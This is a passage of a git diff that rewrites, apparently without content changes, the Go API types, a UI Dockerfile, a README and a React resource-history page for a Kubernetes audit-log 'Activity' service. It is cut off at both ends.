of the resource. - // Empty for cluster-scoped resources. - // - // +optional - Namespace string `json:"namespace,omitempty"` - - // UID is the unique identifier of the resource. - // - // +optional - UID string `json:"uid,omitempty"` -} - -// ActivityLink represents a clickable reference in an activity summary. -type ActivityLink struct { - // Marker is the text substring in the summary that should be linked. - // The portal scans the summary for this marker and makes it clickable. - // - // Example: "HTTP proxy api-gateway" - // - // +required - Marker string `json:"marker"` - - // Resource identifies what the marker links to. - // - // +required - Resource ActivityResource `json:"resource"` -} - -// ActivityTenant identifies the scope for multi-tenant isolation. -type ActivityTenant struct { - // Type is the scope level. - // Values: "global", "organization", "project", "user" - // - // +required - Type string `json:"type"` - - // Name is the tenant identifier within the scope type. - // - // +required - Name string `json:"name"` -} - -// ActivityChange represents a field-level change in an update/patch operation. -type ActivityChange struct { - // Field is the path to the changed field (e.g., "spec.virtualhost.fqdn"). - // - // +required - Field string `json:"field"` - - // Old is the previous value. May be empty for new fields. - // - // +optional - Old string `json:"old,omitempty"` - - // New is the new value. May be empty for deleted fields. - // - // +optional - New string `json:"new,omitempty"` -} - -// ActivityOrigin identifies the source record for an activity. -type ActivityOrigin struct { - // Type indicates the source type. - // Values: "audit" (from audit logs), "event" (from Kubernetes events) - // - // +required - Type string `json:"type"` - - // ID is the correlation ID to the source record. - // For audit: the auditID from the audit log entry. - // For event: the metadata.uid of the Kubernetes Event. - // - // +required - ID string `json:"id"` -} - -// +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object - -// ActivityList contains a list of Activity resources. -type ActivityList struct { - metav1.TypeMeta `json:",inline"` - metav1.ListMeta `json:"metadata,omitempty"` - - Items []Activity `json:"items"` -} - +// +k8s:openapi-gen=true +package v1alpha1 + +import ( + metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" +) + +// +genclient +// +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object + +// Activity is a human-readable summary of something that happened in your cluster. +// Think of it as the "what changed and who did it" record that powers activity feeds, +// audit trails, and change history views. +// +// Activities are created automatically from audit logs and Kubernetes events based on +// your ActivityPolicy rules. They're read-only - you query them, not create them. +// +// # Accessing Activities +// +// There are three ways to get activity data, depending on what you need: +// +// | What you need | API to use | Notes | +// | --- | --- | --- | +// | Live feed | GET /activities?watch=true | Streams new activities as they happen. List only returns the last hour. | +// | Search history | POST /activityqueries | Query any time range with filters, search, and pagination. | +// | Filter options | POST /activityfacetqueries | Get values for dropdowns (e.g., "which actors have activities?"). | +// +// # Quick Examples +// +// Watch for new activities: +// +// kubectl get activities --watch +// +// List recent human-initiated changes: +// +// kubectl get activities --field-selector spec.changeSource=human +// +// For historical queries or advanced filtering, use ActivityQuery instead. +type Activity struct { + metav1.TypeMeta `json:",inline"` + metav1.ObjectMeta `json:"metadata,omitempty"` + + Spec ActivitySpec `json:"spec"` +} + +// ActivitySpec contains the translated activity details. +type ActivitySpec struct { + // Summary is the human-readable description of what happened. + // Generated from ActivityPolicy templates. + // + // Example: "alice created HTTP proxy api-gateway" + // + // +required + Summary string `json:"summary"` + + // ChangeSource indicates who initiated the change. + // Used to filter human actions from system reconciliation noise. + // + // Values: + // - "human": User action via kubectl, API, or UI + // - "system": Controller reconciliation, operator actions, scheduled jobs + // + // +required + ChangeSource string `json:"changeSource"` + + // Actor identifies who performed the action. + // + // +required + Actor ActivityActor `json:"actor"` + + // Resource identifies the Kubernetes resource that was affected. + // + // +required + Resource ActivityResource `json:"resource"` + + // Links contains clickable references found in the summary. + // The portal uses these to make resource names in the summary clickable. + // + // +optional + // +listType=atomic + Links []ActivityLink `json:"links,omitempty"` + + // Tenant identifies the scope for multi-tenant isolation. + // + // +required + Tenant ActivityTenant `json:"tenant"` + + // Changes contains field-level changes for update/patch operations. + // Shows old and new values for modified fields. + // + // NOTE: This field may be empty in the initial implementation. + // Populating old values requires resource history lookups. + // + // +optional + // +listType=atomic + Changes []ActivityChange `json:"changes,omitempty"` + + // Origin identifies the source record for correlation. + // + // +required + Origin ActivityOrigin `json:"origin"` +} + +// ActivityActor identifies who performed an action. +type ActivityActor struct { + // Type indicates the actor category. + // Values: "user", "serviceaccount", "controller" + // + // +required + Type string `json:"type"` + + // Name is the display name for the actor. + // For users, this is typically the email address. + // For service accounts, this is the full name (e.g., "system:serviceaccount:default:my-sa"). + // For controllers, this is the controller name. + // + // +required + Name string `json:"name"` + + // UID is the unique identifier for the actor. + // Stable across username changes. + // + // +optional + UID string `json:"uid,omitempty"` + + // Email is the actor's email address. + // Only populated for user actors when available. + // + // +optional + Email string `json:"email,omitempty"` +} + +// ActivityResource identifies the Kubernetes resource affected by an activity. +type ActivityResource struct { + // APIGroup is the API group of the resource. + // Empty string for core API group. + // + // +optional + APIGroup string `json:"apiGroup,omitempty"` + + // APIVersion is the API version of the resource. + // + // +required + APIVersion string `json:"apiVersion"` + + // Kind is the kind of the resource. + // + // +required + Kind string `json:"kind"` + + // Name is the name of the resource. + // + // +required + Name string `json:"name"` + + // Namespace is the namespace of the resource. + // Empty for cluster-scoped resources. + // + // +optional + Namespace string `json:"namespace,omitempty"` + + // UID is the unique identifier of the resource. + // + // +optional + UID string `json:"uid,omitempty"` +} + +// ActivityLink represents a clickable reference in an activity summary. +type ActivityLink struct { + // Marker is the text substring in the summary that should be linked. + // The portal scans the summary for this marker and makes it clickable. + // + // Example: "HTTP proxy api-gateway" + // + // +required + Marker string `json:"marker"` + + // Resource identifies what the marker links to. + // + // +required + Resource ActivityResource `json:"resource"` +} + +// ActivityTenant identifies the scope for multi-tenant isolation. +type ActivityTenant struct { + // Type is the scope level. + // Values: "global", "organization", "project", "user" + // + // +required + Type string `json:"type"` + + // Name is the tenant identifier within the scope type. + // + // +required + Name string `json:"name"` +} + +// ActivityChange represents a field-level change in an update/patch operation. +type ActivityChange struct { + // Field is the path to the changed field (e.g., "spec.virtualhost.fqdn"). + // + // +required + Field string `json:"field"` + + // Old is the previous value. May be empty for new fields. + // + // +optional + Old string `json:"old,omitempty"` + + // New is the new value. May be empty for deleted fields. + // + // +optional + New string `json:"new,omitempty"` +} + +// ActivityOrigin identifies the source record for an activity. +type ActivityOrigin struct { + // Type indicates the source type. + // Values: "audit" (from audit logs), "event" (from Kubernetes events) + // + // +required + Type string `json:"type"` + + // ID is the correlation ID to the source record. + // For audit: the auditID from the audit log entry. + // For event: the metadata.uid of the Kubernetes Event. + // + // +required + ID string `json:"id"` +} + +// +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object + +// ActivityList contains a list of Activity resources. +type ActivityList struct { + metav1.TypeMeta `json:",inline"` + metav1.ListMeta `json:"metadata,omitempty"` + + Items []Activity `json:"items"` +} + diff --git a/ui/Dockerfile b/ui/Dockerfile index 45cd3df9..1f50049e 100644 --- a/ui/Dockerfile +++ b/ui/Dockerfile @@ -1,58 +1,58 @@ -# Build stage -FROM node:20-alpine AS builder - -# Enable corepack for pnpm -RUN corepack enable && corepack prepare pnpm@10.29.3 --activate - -WORKDIR /app - -# Copy workspace and lock files first for better caching -COPY pnpm-workspace.yaml ./ -COPY pnpm-lock.yaml ./ -COPY package.json ./ - -# Copy library config files -COPY tsconfig.json ./ -COPY rollup.config.mjs ./ -COPY tailwind.config.js ./ -COPY postcss.config.js ./ - -# Copy source files for the library -COPY src/ ./src/ - -# Copy example app files -COPY example/package.json ./example/ -COPY example/app/ ./example/app/ -COPY example/public/ ./example/public/ -COPY example/tsconfig.json ./example/ -COPY example/vite.config.ts ./example/ -COPY example/tailwind.config.js ./example/ -COPY example/postcss.config.js ./example/ - -# Install dependencies and build -RUN pnpm install --frozen-lockfile && \ - pnpm --filter @datum-cloud/activity-ui build && \ - pnpm --filter activity-ui-example build && \ - pnpm deploy --filter activity-ui-example --prod --legacy /deploy && \ - cp -r example/build /deploy/build - -# Runtime stage - Node.js for Remix server -FROM node:20-alpine AS runtime - -WORKDIR /app - -# Copy deployed app with all dependencies -COPY --from=builder /deploy ./ - -# Expose port 3000 -EXPOSE 3000 - -# Set production environment -ENV NODE_ENV=production - -# Health check -HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \ - CMD wget -q --spider http://localhost:3000/health || exit 1 - -# Start the Remix server (use node_modules binary directly to avoid npx issues) -CMD ["node", "./node_modules/@remix-run/serve/dist/cli.js", "./build/server/index.js"] +# Build stage +FROM node:20-alpine AS builder + +# Enable corepack for pnpm +RUN corepack enable && corepack prepare pnpm@10.29.3 --activate + +WORKDIR /app + +# Copy workspace and lock files first for better caching +COPY pnpm-workspace.yaml ./ +COPY pnpm-lock.yaml ./ +COPY package.json ./ + +# Copy library config files +COPY tsconfig.json ./ +COPY rollup.config.mjs ./ +COPY tailwind.config.js ./ +COPY postcss.config.js ./ + +# Copy source files for the library +COPY src/ ./src/ + +# Copy example app files +COPY example/package.json ./example/ +COPY example/app/ ./example/app/ +COPY example/public/ ./example/public/ +COPY example/tsconfig.json ./example/ +COPY example/vite.config.ts ./example/ +COPY example/tailwind.config.js ./example/ +COPY example/postcss.config.js ./example/ + +# Install dependencies and build +RUN pnpm install --frozen-lockfile && \ + pnpm --filter @datum-cloud/activity-ui build && \ + pnpm --filter activity-ui-example build && \ + pnpm deploy --filter activity-ui-example --prod --legacy /deploy && \ + cp -r example/build /deploy/build + +# Runtime stage - Node.js for Remix server +FROM node:20-alpine AS runtime + +WORKDIR /app + +# Copy deployed app with all dependencies +COPY --from=builder /deploy ./ + +# Expose port 3000 +EXPOSE 3000 + +# Set production environment +ENV NODE_ENV=production + +# Health check +HEALTHCHECK --interval=30s --timeout=3s --start-period=5s --retries=3 \ + CMD wget -q --spider http://localhost:3000/health || exit 1 + +# Start the Remix server (use node_modules binary directly to avoid npx issues) +CMD ["node", "./node_modules/@remix-run/serve/dist/cli.js", "./build/server/index.js"] diff --git a/ui/README.md b/ui/README.md index 075bee16..92c3f91f 100644 --- a/ui/README.md +++ b/ui/README.md @@ -1,334 +1,334 @@ -# Activity UI - React Components for Kubernetes Audit Logs - -React component library for querying and visualizing Kubernetes audit logs via Activity (`activity.miloapis.com/v1alpha1`). - -## Features - -- 🔍 **FilterBuilder** - Interactive CEL expression builder for audit log queries -- 📊 **AuditEventViewer** - Rich visualization of audit events with expandable details -- 🎯 **AuditLogQueryComponent** - Complete query interface combining filter builder and results viewer -- ⚡ **useAuditLogQuery Hook** - React hook for programmatic query execution -- 🔌 **ActivityApiClient** - Typed API client for Activity -- 📦 **TypeScript Types** - Full type definitions matching the Kubernetes API schema - -## Installation - -```bash -npm install @miloapis/activity-ui -``` - -## Quick Start - -```tsx -import { - AuditLogQueryComponent, - ActivityApiClient, -} from '@miloapis/activity-ui'; -import '@miloapis/activity-ui/dist/styles.css'; - -function App() { - const client = new ActivityApiClient({ - baseUrl: 'https://your-activity-api-server.com', - token: 'your-bearer-token', // Optional - }); - - return ( - console.log('Selected:', event)} - /> - ); -} -``` - -## Components - -### AuditLogQueryComponent - -Complete query interface with filter builder and results viewer. - -```tsx - { - console.log('Event selected:', event); - }} - className="custom-class" -/> -``` - -**Props:** -- `client`: ActivityApiClient instance (required) -- `initialFilter`: Initial CEL filter expression (optional) -- `initialLimit`: Initial result limit (optional, default: 100) -- `onEventSelect`: Callback when an event is clicked (optional) -- `className`: Custom CSS class (optional) - -### FilterBuilder - -Interactive builder for CEL filter expressions. - -```tsx - console.log('Filter:', spec)} - initialFilter='verb == "delete"' - initialLimit={100} -/> -``` - -**Props:** -- `onFilterChange`: Callback when filter/limit changes (required) -- `initialFilter`: Initial filter expression (optional) -- `initialLimit`: Initial limit value (optional) -- `className`: Custom CSS class (optional) - -### AuditEventViewer - -Display and interact with audit events. - -```tsx - console.log(event)} -/> -``` - -**Props:** -- `events`: Array of audit events to display (required) -- `onEventSelect`: Callback when an event is clicked (optional) -- `className`: Custom CSS class (optional) - -## Hooks - -### useAuditLogQuery - -React hook for executing queries programmatically. - -```tsx -import { useAuditLogQuery, ActivityApiClient } from '@miloapis/activity-ui'; - -function MyComponent() { - const client = new ActivityApiClient({ baseUrl: '...' }); - - const { - query, - events, - isLoading, - error, - hasMore, - executeQuery, - loadMore, - reset, - } = useAuditLogQuery({ client }); - - const handleSearch = async () => { - await executeQuery({ - filter: 'verb == "delete"', - limit: 50, - }); - }; - - return ( -
- - - {events.map((event) => ( -
{event.verb} - {event.objectRef?.resource}
- ))} - - {hasMore && ( - - )} -
- ); -} -``` - -## API Client - -### ActivityApiClient - -Client for interacting with the Activity API server. - -```tsx -import { ActivityApiClient } from '@miloapis/activity-ui'; - -const client = new ActivityApiClient({ - baseUrl: 'https://activity-api.example.com', - token: 'your-token', // Optional -}); - -// Create a query -const query = await client.createQuery('my-query', { - filter: 'verb == "delete" && ns == "production"', - limit: 100, -}); - -// Get query results -const result = await client.getQuery('my-query'); -console.log(result.status.results); - -// Paginated query execution -for await (const page of client.executeQueryPaginated({ - filter: 'resource == "secrets"', - limit: 100, -})) { - console.log(`Page with ${page.status?.results?.length} events`); -} -``` - -## CEL Filter Examples - -The filter field accepts CEL (Common Expression Language) expressions: - -```javascript -// Find all delete operations -filter: 'verb == "delete"' - -// Find operations in specific namespaces -filter: 'ns in ["production", "staging"]' - -// Find secret access -filter: 'resource == "secrets" && verb in ["get", "list"]' - -// Find operations by user -filter: 'user.startsWith("system:") && verb == "delete"' - -// Time range filtering -filter: 'timestamp >= timestamp("2024-01-01T00:00:00Z") && timestamp <= timestamp("2024-12-31T23:59:59Z")' - -// Complex queries -filter: 'verb == "delete" && resource in ["secrets", "configmaps"] && ns == "production" && stage == "ResponseComplete"' -``` - -### Available Filter Fields - -- `timestamp` - Event timestamp (time.Time) -- `ns` - Kubernetes namespace (string) -- `verb` - HTTP verb (get, list, create, update, delete, etc.) -- `resource` - Resource type (pods, deployments, etc.) -- `user` - Username who performed the action -- `level` - Audit level (Metadata, Request, RequestResponse) -- `stage` - Event stage (RequestReceived, ResponseStarted, ResponseComplete, Panic) -- `uid` - Event UID -- `requestURI` - The request URI -- `sourceIPs` - Source IP addresses (array) - -## Development - -### Prerequisites - -- Node.js 18+ -- npm or yarn - -### Building the Library - -```bash -# Install dependencies -task ui:install - -# Build the library -task ui:build - -# Watch mode for development -task ui:dev - -# Run type checking -task ui:type-check - -# Run linter -task ui:lint -``` - -### Running the Example App - -```bash -# Start the example application -task ui:start - -# Or use the full command -task ui:example:dev -``` - -The example app will start at [http://localhost:3000](http://localhost:3000). - -### Available Tasks - -```bash -task ui:install # Install dependencies -task ui:build # Build component library -task ui:dev # Build in watch mode -task ui:lint # Lint code -task ui:type-check # Type check -task ui:clean # Clean build artifacts - -# Example app -task ui:start # Start example app (alias for example:dev) -task ui:example:dev # Start example in dev mode -task ui:example:build # Build example for production -task ui:example:preview # Preview production build - -# Combined -task ui:test # Run lint + type-check -task ui:all # Build library and example -``` - -## TypeScript Support - -Full TypeScript support with exported types: - -```tsx -import type { - Event, - AuditLogQuery, - AuditLogQuerySpec, - QueryPhase, - FilterField, -} from '@miloapis/activity-ui'; - -const spec: AuditLogQuerySpec = { - filter: 'verb == "delete"', - limit: 100, -}; - -const handleEvent = (event: Event) => { - console.log(event.verb, event.objectRef?.resource); -}; -``` - -## Styling - -Import the default styles: - -```tsx -import '@miloapis/activity-ui/dist/styles.css'; -``` - -Or customize by overriding CSS variables and classes. See the source CSS for available class names. - -## Contributing - -1. Fork the repository -2. Create a feature branch -3. Make your changes -4. Add tests if applicable -5. Run `task ui:test` to verify -6. Submit a pull request - -## License - -Apache-2.0 - -## Support - -For issues and questions: -- GitHub Issues: https://github.com/datum-cloud/activity/issues -- Documentation: See the main [Activity README](../README.md) +# Activity UI - React Components for Kubernetes Audit Logs + +React component library for querying and visualizing Kubernetes audit logs via Activity (`activity.miloapis.com/v1alpha1`). + +## Features + +- 🔍 **FilterBuilder** - Interactive CEL expression builder for audit log queries +- 📊 **AuditEventViewer** - Rich visualization of audit events with expandable details +- 🎯 **AuditLogQueryComponent** - Complete query interface combining filter builder and results viewer +- ⚡ **useAuditLogQuery Hook** - React hook for programmatic query execution +- 🔌 **ActivityApiClient** - Typed API client for Activity +- 📦 **TypeScript Types** - Full type definitions matching the Kubernetes API schema + +## Installation + +```bash +npm install @miloapis/activity-ui +``` + +## Quick Start + +```tsx +import { + AuditLogQueryComponent, + ActivityApiClient, +} from '@miloapis/activity-ui'; +import '@miloapis/activity-ui/dist/styles.css'; + +function App() { + const client = new ActivityApiClient({ + baseUrl: 'https://your-activity-api-server.com', + token: 'your-bearer-token', // Optional + }); + + return ( + console.log('Selected:', event)} + /> + ); +} +``` + +## Components + +### AuditLogQueryComponent + +Complete query interface with filter builder and results viewer. + +```tsx + { + console.log('Event selected:', event); + }} + className="custom-class" +/> +``` + +**Props:** +- `client`: ActivityApiClient instance (required) +- `initialFilter`: Initial CEL filter expression (optional) +- `initialLimit`: Initial result limit (optional, default: 100) +- `onEventSelect`: Callback when an event is clicked (optional) +- `className`: Custom CSS class (optional) + +### FilterBuilder + +Interactive builder for CEL filter expressions. + +```tsx + console.log('Filter:', spec)} + initialFilter='verb == "delete"' + initialLimit={100} +/> +``` + +**Props:** +- `onFilterChange`: Callback when filter/limit changes (required) +- `initialFilter`: Initial filter expression (optional) +- `initialLimit`: Initial limit value (optional) +- `className`: Custom CSS class (optional) + +### AuditEventViewer + +Display and interact with audit events. + +```tsx + console.log(event)} +/> +``` + +**Props:** +- `events`: Array of audit events to display (required) +- `onEventSelect`: Callback when an event is clicked (optional) +- `className`: Custom CSS class (optional) + +## Hooks + +### useAuditLogQuery + +React hook for executing queries programmatically. + +```tsx +import { useAuditLogQuery, ActivityApiClient } from '@miloapis/activity-ui'; + +function MyComponent() { + const client = new ActivityApiClient({ baseUrl: '...' }); + + const { + query, + events, + isLoading, + error, + hasMore, + executeQuery, + loadMore, + reset, + } = useAuditLogQuery({ client }); + + const handleSearch = async () => { + await executeQuery({ + filter: 'verb == "delete"', + limit: 50, + }); + }; + + return ( +
+ + + {events.map((event) => ( +
{event.verb} - {event.objectRef?.resource}
+ ))} + + {hasMore && ( + + )} +
+ ); +} +``` + +## API Client + +### ActivityApiClient + +Client for interacting with the Activity API server. + +```tsx +import { ActivityApiClient } from '@miloapis/activity-ui'; + +const client = new ActivityApiClient({ + baseUrl: 'https://activity-api.example.com', + token: 'your-token', // Optional +}); + +// Create a query +const query = await client.createQuery('my-query', { + filter: 'verb == "delete" && ns == "production"', + limit: 100, +}); + +// Get query results +const result = await client.getQuery('my-query'); +console.log(result.status.results); + +// Paginated query execution +for await (const page of client.executeQueryPaginated({ + filter: 'resource == "secrets"', + limit: 100, +})) { + console.log(`Page with ${page.status?.results?.length} events`); +} +``` + +## CEL Filter Examples + +The filter field accepts CEL (Common Expression Language) expressions: + +```javascript +// Find all delete operations +filter: 'verb == "delete"' + +// Find operations in specific namespaces +filter: 'ns in ["production", "staging"]' + +// Find secret access +filter: 'resource == "secrets" && verb in ["get", "list"]' + +// Find operations by user +filter: 'user.startsWith("system:") && verb == "delete"' + +// Time range filtering +filter: 'timestamp >= timestamp("2024-01-01T00:00:00Z") && timestamp <= timestamp("2024-12-31T23:59:59Z")' + +// Complex queries +filter: 'verb == "delete" && resource in ["secrets", "configmaps"] && ns == "production" && stage == "ResponseComplete"' +``` + +### Available Filter Fields + +- `timestamp` - Event timestamp (time.Time) +- `ns` - Kubernetes namespace (string) +- `verb` - HTTP verb (get, list, create, update, delete, etc.) +- `resource` - Resource type (pods, deployments, etc.) +- `user` - Username who performed the action +- `level` - Audit level (Metadata, Request, RequestResponse) +- `stage` - Event stage (RequestReceived, ResponseStarted, ResponseComplete, Panic) +- `uid` - Event UID +- `requestURI` - The request URI +- `sourceIPs` - Source IP addresses (array) + +## Development + +### Prerequisites + +- Node.js 18+ +- npm or yarn + +### Building the Library + +```bash +# Install dependencies +task ui:install + +# Build the library +task ui:build + +# Watch mode for development +task ui:dev + +# Run type checking +task ui:type-check + +# Run linter +task ui:lint +``` + +### Running the Example App + +```bash +# Start the example application +task ui:start + +# Or use the full command +task ui:example:dev +``` + +The example app will start at [http://localhost:3000](http://localhost:3000). + +### Available Tasks + +```bash +task ui:install # Install dependencies +task ui:build # Build component library +task ui:dev # Build in watch mode +task ui:lint # Lint code +task ui:type-check # Type check +task ui:clean # Clean build artifacts + +# Example app +task ui:start # Start example app (alias for example:dev) +task ui:example:dev # Start example in dev mode +task ui:example:build # Build example for production +task ui:example:preview # Preview production build + +# Combined +task ui:test # Run lint + type-check +task ui:all # Build library and example +``` + +## TypeScript Support + +Full TypeScript support with exported types: + +```tsx +import type { + Event, + AuditLogQuery, + AuditLogQuerySpec, + QueryPhase, + FilterField, +} from '@miloapis/activity-ui'; + +const spec: AuditLogQuerySpec = { + filter: 'verb == "delete"', + limit: 100, +}; + +const handleEvent = (event: Event) => { + console.log(event.verb, event.objectRef?.resource); +}; +``` + +## Styling + +Import the default styles: + +```tsx +import '@miloapis/activity-ui/dist/styles.css'; +``` + +Or customize by overriding CSS variables and classes. See the source CSS for available class names. + +## Contributing + +1. Fork the repository +2. Create a feature branch +3. Make your changes +4. Add tests if applicable +5. Run `task ui:test` to verify +6. Submit a pull request + +## License + +Apache-2.0 + +## Support + +For issues and questions: +- GitHub Issues: https://github.com/datum-cloud/activity/issues +- Documentation: See the main [Activity README](../README.md) diff --git a/ui/example/app/routes/resource-history.tsx b/ui/example/app/routes/resource-history.tsx index ed45c213..3794aafd 100644 --- a/ui/example/app/routes/resource-history.tsx +++ b/ui/example/app/routes/resource-history.tsx @@ -1,409 +1,409 @@ -import { useState, useEffect, useMemo, useCallback } from "react"; -import { useSearchParams } from "@remix-run/react"; -import { - ResourceHistoryView, - ActivityApiClient, - Card, - CardHeader, - CardTitle, - CardDescription, - CardContent, - Input, - Label, - Button, - Combobox, - useFacets, - type Activity, - type ResourceFilter, - type ComboboxOption, - type ActivityFeedFilterState, -} from "@datum-cloud/activity-ui"; -import { AppLayout } from "~/components/AppLayout"; -import { EventDetailModal } from "~/components/EventDetailModal"; - -/** - * Resource History page - displays change history for a specific resource. - * Supports filtering by API Group, Kind, Namespace, Name, or UID. - * Uses the Facets API for typeahead dropdowns with cascading filters. - * - * Deep linking supported via URL search params: - * - ?uid= - Search by UID (takes precedence) - * - ?apiGroup=&kind=&namespace=&name= - Search by attributes - */ -export default function ResourceHistoryPage() { - const [searchParams, setSearchParams] = useSearchParams(); - const [client, setClient] = useState(null); - const [selectedActivity, setSelectedActivity] = useState(null); - - // Read initial values from URL search params - const initialApiGroup = searchParams.get("apiGroup") || ""; - const initialKind = searchParams.get("kind") || ""; - const initialNamespace = searchParams.get("namespace") || ""; - const initialName = searchParams.get("name") || ""; - const initialUid = searchParams.get("uid") || ""; - - // Form state - initialized from URL params - const [apiGroup, setApiGroup] = useState(initialApiGroup); - const [kind, setKind] = useState(initialKind); - const [namespace, setNamespace] = useState(initialNamespace); - const [name, setName] = useState(initialName); - const [uid, setUid] = useState(initialUid); - - // Build filter from URL params if present - const filterFromParams = useMemo((): ResourceFilter | null => { - if (initialUid) { - return { uid: initialUid }; - } - if (initialApiGroup || initialKind || initialNamespace || initialName) { - const filter: ResourceFilter = {}; - if (initialApiGroup) filter.apiGroup = initialApiGroup; - if (initialKind) filter.kind = initialKind; - if (initialNamespace) filter.namespace = initialNamespace; - if (initialName) filter.name = initialName; - return filter; - } - return null; - }, [initialApiGroup, initialKind, initialNamespace, initialName, initialUid]); - - // Submitted filter - initialized from URL params - const [submittedFilter, setSubmittedFilter] = useState(filterFromParams); - - // Sync submitted filter when URL params change (e.g., browser back/forward) - useEffect(() => { - setSubmittedFilter(filterFromParams); - // Also sync form state - setApiGroup(initialApiGroup); - setKind(initialKind); - setNamespace(initialNamespace); - setName(initialName); - setUid(initialUid); - }, [filterFromParams, initialApiGroup, initialKind, initialNamespace, initialName, initialUid]); - - useEffect(() => { - // Check if in production environment - const isProduction = - typeof window !== "undefined" && - window.location.hostname !== "localhost" && - window.location.hostname !== "127.0.0.1"; - - if (isProduction) { - setClient(new ActivityApiClient({ baseUrl: "" })); - } else { - const apiUrl = sessionStorage.getItem("apiUrl") || ""; - const token = sessionStorage.getItem("token") || undefined; - setClient( - new ActivityApiClient({ - baseUrl: apiUrl || "", - token, - }) - ); - } - }, []); - - // Build filter state from current form selections for cascading dropdowns - const currentFilters = useMemo((): ActivityFeedFilterState => { - const filters: ActivityFeedFilterState = {}; - if (apiGroup) filters.apiGroups = [apiGroup]; - if (kind) filters.resourceKinds = [kind]; - if (namespace) filters.resourceNamespaces = [namespace]; - if (name) filters.resourceName = name; - return filters; - }, [apiGroup, kind, namespace, name]); - - // Fetch facets for typeahead dropdowns - filtered by current selections - const { - resourceKinds, - apiGroups, - resourceNamespaces, - isLoading: facetsLoading, - } = useFacets( - client!, - { start: "now-30d" }, - currentFilters // Pass current selections to filter facet results - ); - - // Convert facets to combobox options - const apiGroupOptions: ComboboxOption[] = useMemo(() => - apiGroups - .filter((f) => f.value) - .map((f) => ({ - value: f.value, - label: f.value, - count: f.count, - })), - [apiGroups] - ); - - const kindOptions: ComboboxOption[] = useMemo(() => - resourceKinds - .filter((f) => f.value) - .map((f) => ({ - value: f.value, - label: f.value, - count: f.count, - })), - [resourceKinds] - ); - - const namespaceOptions: ComboboxOption[] = useMemo(() => - resourceNamespaces - .filter((f) => f.value) - .map((f) => ({ - value: f.value, - label: f.value, - count: f.count, - })), - [resourceNamespaces] - ); - - const handleSubmit = useCallback((e: React.FormEvent) => { - e.preventDefault(); - const filter: ResourceFilter = {}; - const params = new URLSearchParams(); - - if (uid.trim()) { - filter.uid = uid.trim(); - params.set("uid", uid.trim()); - } else { - if (apiGroup) { - filter.apiGroup = apiGroup; - params.set("apiGroup", apiGroup); - } - if (kind) { - filter.kind = kind; - params.set("kind", kind); - } - if (namespace) { - filter.namespace = namespace; - params.set("namespace", namespace); - } - if (name.trim()) { - filter.name = name.trim(); - params.set("name", name.trim()); - } - } - - // Only submit if we have at least one filter - if (Object.keys(filter).length > 0) { - setSubmittedFilter(filter); - setSearchParams(params, { replace: false }); - } - }, [uid, apiGroup, kind, namespace, name, setSearchParams]); - - const handleActivityClick = useCallback((activity: Activity) => { - setSelectedActivity(activity); - }, []); - - const handleReset = useCallback(() => { - setSubmittedFilter(null); - setApiGroup(""); - setKind(""); - setNamespace(""); - setName(""); - setUid(""); - // Clear URL params - setSearchParams({}, { replace: true }); - }, [setSearchParams]); - - const hasFormData = apiGroup || kind || namespace || name || uid; - const isUidMode = !!uid; - const isAttributeMode = !!(apiGroup || kind || namespace || name); - - return ( - - {!submittedFilter ? ( - - - Resource History - - Search for a resource to view its change history over time - - - -
- {/* Resource Attributes Section */} -
-

- Search by Resource Attributes -

-
-
- - -
-
- - -
-
- - -
-
- - setName(e.target.value)} - placeholder="e.g., api-gateway" - disabled={isUidMode} - /> -
-
-
- - {/* Divider */} -
-
-
-
-
- - or - -
-
- - {/* UID Section */} -
-

- Search by Resource UID -

-
- - setUid(e.target.value)} - placeholder="e.g., 550e8400-e29b-41d4-a716-446655440000" - className="font-mono" - disabled={isAttributeMode} - /> -

- UID provides exact match. When specified, other filters are ignored. -

-
-
- - - - -
-

- Tips -

-
    -
  • - Dropdowns filter automatically based on other selections -
  • -
  • - Name supports partial matching (e.g., "api" matches "api-gateway") -
  • -
  • - Combine filters to narrow down results (e.g., Kind + Namespace) -
  • -
  • - Find a resource's UID with:{" "} - - kubectl get <kind> <name> -o jsonpath='{"{.metadata.uid}"}' - -
  • -
-
- - - ) : ( -
-
-
-

- Resource History -

-

- {submittedFilter.uid ? ( - UID: {submittedFilter.uid} - ) : ( - - {[ - submittedFilter.kind, - submittedFilter.name, - submittedFilter.namespace && `in ${submittedFilter.namespace}`, - submittedFilter.apiGroup && `(${submittedFilter.apiGroup})`, - ] - .filter(Boolean) - .join(" ")} - - )} -

-
- -
- - {client && ( - - )} -
- )} - - {selectedActivity && ( - setSelectedActivity(null)} - /> - )} - - ); -} +import { useState, useEffect, useMemo, useCallback } from "react"; +import { useSearchParams } from "@remix-run/react"; +import { + ResourceHistoryView, + ActivityApiClient, + Card, + CardHeader, + CardTitle, + CardDescription, + CardContent, + Input, + Label, + Button, + Combobox, + useFacets, + type Activity, + type ResourceFilter, + type ComboboxOption, + type ActivityFeedFilterState, +} from "@datum-cloud/activity-ui"; +import { AppLayout } from "~/components/AppLayout"; +import { EventDetailModal } from "~/components/EventDetailModal"; + +/** + * Resource History page - displays change history for a specific resource. + * Supports filtering by API Group, Kind, Namespace, Name, or UID. + * Uses the Facets API for typeahead dropdowns with cascading filters. + * + * Deep linking supported via URL search params: + * - ?uid= - Search by UID (takes precedence) + * - ?apiGroup=&kind=&namespace=&name= - Search by attributes + */ +export default function ResourceHistoryPage() { + const [searchParams, setSearchParams] = useSearchParams(); + const [client, setClient] = useState(null); + const [selectedActivity, setSelectedActivity] = useState(null); + + // Read initial values from URL search params + const initialApiGroup = searchParams.get("apiGroup") || ""; + const initialKind = searchParams.get("kind") || ""; + const initialNamespace = searchParams.get("namespace") || ""; + const initialName = searchParams.get("name") || ""; + const initialUid = searchParams.get("uid") || ""; + + // Form state - initialized from URL params + const [apiGroup, setApiGroup] = useState(initialApiGroup); + const [kind, setKind] = useState(initialKind); + const [namespace, setNamespace] = useState(initialNamespace); + const [name, setName] = useState(initialName); + const [uid, setUid] = useState(initialUid); + + // Build filter from URL params if present + const filterFromParams = useMemo((): ResourceFilter | null => { + if (initialUid) { + return { uid: initialUid }; + } + if (initialApiGroup || initialKind || initialNamespace || initialName) { + const filter: ResourceFilter = {}; + if (initialApiGroup) filter.apiGroup = initialApiGroup; + if (initialKind) filter.kind = initialKind; + if (initialNamespace) filter.namespace = initialNamespace; + if 